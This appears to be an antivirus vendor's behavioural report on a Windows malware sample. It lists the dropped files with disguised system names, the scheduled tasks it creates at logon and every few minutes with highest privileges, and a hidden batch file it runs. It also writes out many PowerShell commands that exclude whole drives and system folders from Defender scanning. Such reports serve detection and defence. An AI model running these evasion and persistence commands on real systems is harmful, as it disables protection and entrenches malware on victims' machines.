Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dwmd
- <SYSTEM32>\tasks\systems
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\system
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\kms\winlogon.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Desktop\dwm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/wwaylvw/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\Prefetch\ReadyBoot\Idle.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\Windows Journal\Templates\System.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/kms/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Microsoft.NET\Primary Interop Assemblies\dwm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Full path to file>'
Modifies file system
Creates the following files
- <Current directory>\71f71521048c0a
- %WINDIR%\prefetch\readyboot\idle.exe
- %WINDIR%\prefetch\readyboot\6ccacd8608530f
- %ProgramFiles(x86)%\microsoft.net\primary interop assemblies\dwm.exe
- %ProgramFiles(x86)%\microsoft.net\primary interop assemblies\6cb0b6c459d5d3
- C:\kms\winlogon.exe
- C:\kms\cc11b995f2a76d
- %ProgramFiles%\windows journal\templates\system.exe
- %ProgramFiles%\windows journal\templates\27d1bcfc3c54e0
- %ALLUSERSPROFILE%\desktop\dwm.exe
- %ALLUSERSPROFILE%\desktop\6cb0b6c459d5d3
- %TEMP%\tmgrbe5kdj
- %TEMP%\lzxkdi7bul.bat
Deletes the following files
- %TEMP%\tmgrbe5kdj
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\lzxKdI7BUl.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 5 /tr "'%ALLUSERSPROFILE%\Desktop\dwm.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\lzxKdI7BUl.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>l" /sc MINUTE /mo 10 /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc ONLOGON /tr "'<Full path to file>'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>l" /sc MINUTE /mo 11 /tr "'<Full path to file>'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'%WINDIR%\Prefetch\ReadyBoot\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%WINDIR%\Prefetch\ReadyBoot\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'%WINDIR%\Prefetch\ReadyBoot\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Microsoft.NET\Primary Interop Assemblies\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Microsoft.NET\Primary Interop Assemblies\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\kms\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'C:\kms\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\kms\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\Windows Journal\Templates\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'%ProgramFiles%\Windows Journal\Templates\System.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\Windows Journal\Templates\System.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'%ALLUSERSPROFILE%\Desktop\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Desktop\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Microsoft.NET\Primary Interop Assemblies\dwm.exe'" /f
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
